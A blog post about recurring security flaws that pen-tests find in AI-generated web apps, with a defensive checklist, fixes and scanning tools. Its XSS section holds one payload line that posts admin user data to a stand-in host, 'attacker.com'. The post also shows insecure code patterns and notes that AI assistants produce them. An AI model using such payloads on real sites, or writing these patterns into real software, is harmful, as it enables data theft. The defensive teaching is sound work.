Projects Blog Tools Music Contact
← All Posts
Startup June 14, 2026

Vibe-Coded Apps Leak Secrets: What Pen-Testing Reveals

By: Evgeny Padezhnov

Illustration for: Vibe-Coded Apps Leak Secrets: What Pen-Testing Reveals

Vibe coding promised speed. Penetration tests of these apps reveal a security crisis instead. A pattern of recurring critical flaws keeps surfacing across LLM-generated codebases.

The term "vibe coding" describes shipping software based on AI suggestions without deep review. Developers paste prompts, accept output, deploy. The code looks correct. It runs. It also leaks.

Practice shows the same vulnerability classes appear in nearly every vibe-coded app under audit. These are not exotic zero-days. They are the OWASP basics that AI assistants confidently get wrong.

What Keeps Breaking in AI-Generated Code

The first failure mode is hardcoded credentials. API keys, database passwords, JWT secrets sit inside committed source files. LLMs frequently inline these values during code generation, treating them as configuration constants rather than secrets. A git clone exposes the entire production surface.

The second failure mode is broken access control. AI assistants tend to implement role checks on the frontend. The React component hides the "Delete User" button when user.role !== 'admin'. The backend endpoint accepts any authenticated request. According to Iterasec, broken access control sits at the top of the OWASP risk list. Vibe-coded apps amplify this pattern because the model optimizes for visible behavior, not server-side enforcement.

The third failure mode is SQL injection through unsanitized inputs. As Brightsec notes, "the most common vulnerability enabling SQL injection attacks is using unsanitized user inputs." LLM output often constructs queries via string concatenation when the prompt is informal. The same source confirms SQL injection accounts for 23% of critical vulnerabilities across web applications globally.

Key point: vibe-coded apps fail at the same OWASP basics that have existed for two decades.

The Hardcoded Secret Problem

A scan across vibe-coded repositories typically surfaces secrets in three places.

Environment files committed to git

The .env file gets staged accidentally. The .gitignore was generated but did not include .env.local or .env.production. The result: Stripe keys, OpenAI keys, AWS credentials live forever in commit history.

git log -p | grep -iE "(api[_-]?key|secret|password|token)"

This single command often returns hundreds of matches in a vibe-coded repository.

Inline constants in source

The LLM generates code like this without prompting:

const SUPABASE_KEY = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...";
const STRIPE_SECRET = "sk_live_...";

The developer accepts the suggestion. The code works. The secret ships to production.

Client-side exposure

The model puts secret keys in client bundles. Anyone opens DevTools, finds process.env.NEXT_PUBLIC_STRIPE_SECRET_KEY baked into JavaScript. The "NEXT_PUBLIC_" prefix in Next.js explicitly marks values as client-visible. AI assistants frequently misuse this prefix because they were trained on examples that included it.

Common mistake: trusting that NEXT_PUBLIC_ or VITE_ prefixed values are safe. They are exposed to every visitor.

Broken Authentication Patterns

Authentication flows generated by LLMs follow predictable failure modes.

JWT stored in localStorage

The model defaults to localStorage.setItem('token', jwt). Any XSS payload reads the token. Session hijacking becomes trivial. Secure HTTP-only cookies require more boilerplate, so the AI picks the shorter path.

Missing rate limiting

Login endpoints accept unlimited attempts. No express-rate-limit, no Cloudflare rule, no Redis-backed throttle. A basic credential stuffing script with Burp Suite Intruder breaks accounts in minutes.

Password reset tokens without expiration

The generated reset flow creates a token, emails it, accepts it forever. No expires_at column, no cleanup job. A leaked email from a year ago still grants account access today.

Verification bypass via direct API calls

The signup flow shows an email verification screen. The backend creates the user record before verification. The protected /api/dashboard endpoint only checks req.user, not req.user.email_verified. Send the JWT directly with curl, full access.

Tested in production: a Supabase-backed app accepted unverified accounts on every protected route because the model never wrote the email_verified check on the server.

Client-Side Role Checks: The Silent Killer

The most consistent failure across vibe-coded apps is trusting the frontend. The pattern looks like this:

// React component
{user.role === 'admin' && <AdminPanel />}

// Backend route
app.get('/api/admin/users', authenticate, async (req, res) => {
  const users = await db.users.findAll();
  res.json(users);
});

The admin panel hides for normal users. The endpoint serves user data to anyone authenticated. A regular account opens DevTools, calls fetch('/api/admin/users'), downloads everything.

Rapid7 defines web application vulnerabilities as "weaknesses or flaws in web apps that can be exploited by attackers to access sensitive data, manipulate systems, or compromise user trust." Client-side authorization checks are the textbook example. The flaw is invisible during normal use. It becomes obvious the moment someone reads the network tab.

In plain terms: the UI hides things; the API hands them out.

IDOR and Predictable IDs

Insecure Direct Object References show up in nearly every vibe-coded CRUD app. The route looks like /api/orders/123. The handler does:

const order = await db.orders.findById(req.params.id);
res.json(order);

No ownership check. User #42 reads user #41's order by changing the URL. Sequential integer IDs make enumeration trivial. A simple loop dumps the entire orders table.

The fix is two lines:

const order = await db.orders.findById(req.params.id);
if (order.user_id !== req.user.id) return res.status(404).end();

LLMs omit ownership checks because the prompt rarely mentions them. The developer never asks. Production ships.

Try it: pick any vibe-coded app, log in with two accounts, try to access account A's resources from account B by ID manipulation. The hit rate is uncomfortably high.

XSS Through Unsanitized Rendering

Brightsec describes XSS as a flaw that lets attackers "inject client-side scripts into web pages to intercept user session access, impersonate users, access sensitive information, tamper with websites, or redirect URLs to malicious websites."

Vibe-coded apps hit XSS in two main ways:

A persistent XSS in the comment field on a vibe-coded forum app routinely runs fetch('/api/admin/users').then(r => r.json()).then(d => fetch('https://attacker.com', {method:'POST', body: JSON.stringify(d)})) because the same app also has the broken admin endpoint.

Why Disclosure Often Fails

A particularly grim pattern: reporting bugs to vibe-coding developers frequently yields silence. The author shipped the app, moved on, treats security reports as low priority. The vulnerability stays live for weeks.

The cause is structural. The developer never owned the code mentally. The AI wrote it. The developer cannot trace the auth flow because they did not design it. Fixing the bug requires understanding code they only skimmed.

SecurityScorecard lists "unpatched software" among the most prevalent misconfigurations. Vibe-coded apps multiply this risk because the human in the loop has no model of how their own system works.

Tools That Actually Surface These Bugs

For automated scans, OWASP ZAP and Burp Suite catch the standard injection and XSS issues. Strobes notes Burp Suite Professional is "the go-to tool for analyzing web traffic, authentication, and data flow."

For business logic flaws — IDOR, broken access control, privilege escalation — manual testing is required. Escape and XBOW have started shipping agentic pen-testing tools that simulate exploit chains, but human review remains the gold standard. As Terra Security puts it, "a hybrid approach—blending the scale and consistency of AI with the strategic insight of experienced human testers—remains the gold standard for serious web application penetration testing."

For secret scanning: gitleaks, trufflehog, git-secrets. Run them on every vibe-coded repo before deployment.

For dependency vulnerabilities: npm audit, pnpm audit, Snyk. AI-generated package.json files often pin outdated versions because the training data is months behind.

What to Try Right Now

Pick one vibe-coded app and run this checklist:

  1. git log -p -S "key" -S "secret" -S "password" — look for committed credentials.
  2. Log in with two accounts. Try to access account A's data using account B's session by manipulating IDs.
  3. Open DevTools, look at JavaScript bundle. Search for "sk_", "eyJ", "AKIA". If anything matches, secrets shipped to the client.
  4. Send the JWT to every API endpoint with an unverified email account. Check what responds.
  5. Test the password reset flow. Does the token expire? Can it be reused?
  6. Run npm audit --production. Count critical and high vulnerabilities.

If it works — it is correct. If the checklist surfaces issues, the app needs hardening before any further feature work.

Frequently Asked Questions

How do vibe-coded apps typically leak credentials through API endpoints?

LLMs default to inlining secrets or marking them with public-prefix environment variables that ship to the client bundle. Backend endpoints also frequently return full user objects, including password hashes and API tokens, because the model copies a generic SELECT * pattern without filtering sensitive columns.

Why do developers ignore security reports on vibe-coded apps?

The developer often did not write the code in any meaningful sense. They cannot quickly trace the bug because they never built a mental model of the system. Fixing requires the same kind of LLM prompting cycle that introduced the flaw, which feels slow and uncertain.

What vulnerabilities appear most in AI-generated authentication?

JWT stored in localStorage, missing email verification checks on protected routes, password reset tokens without expiration, and rate-limit-free login endpoints. The model picks the shortest implementation path, which usually omits the defensive boilerplate.

How can client-side role checks be exploited?

The UI hides admin features when user.role !== 'admin', but the backend endpoint accepts any authenticated request. A regular user opens DevTools, calls the admin API directly with their own JWT, and reads or modifies data. The hidden button was the only enforcement.

Why does accepting "functionally correct" AI code create production vulnerabilities?

Functional correctness means the happy path works. Security requires considering hostile inputs, missing authorization, and edge cases. LLMs optimize for the prompt as stated. The prompt rarely says "and reject requests where user_id does not match the resource owner," so the check is absent.

Information is accurate as of the publication date. Terms, prices, and regulations may change — verify with relevant professionals.

✦ Squeeze AI
  1. AI-generated code routinely hardcodes API keys, database passwords, and JWT secrets directly in source files — a single `git clone` exposes the full production attack surface, and commit history preserves secrets even after removal.
  2. LLMs optimize for visible behavior: they implement access control as frontend UI logic (hiding buttons) while leaving backend endpoints unprotected, meaning any authenticated user can call privileged actions regardless of role.
  3. Vibe-coded apps consistently fail at the same OWASP fundamentals that have existed for two decades — not novel exploits, but basic classes like broken access control and SQL injection that AI assistants confidently get wrong.

Powered by B1KEY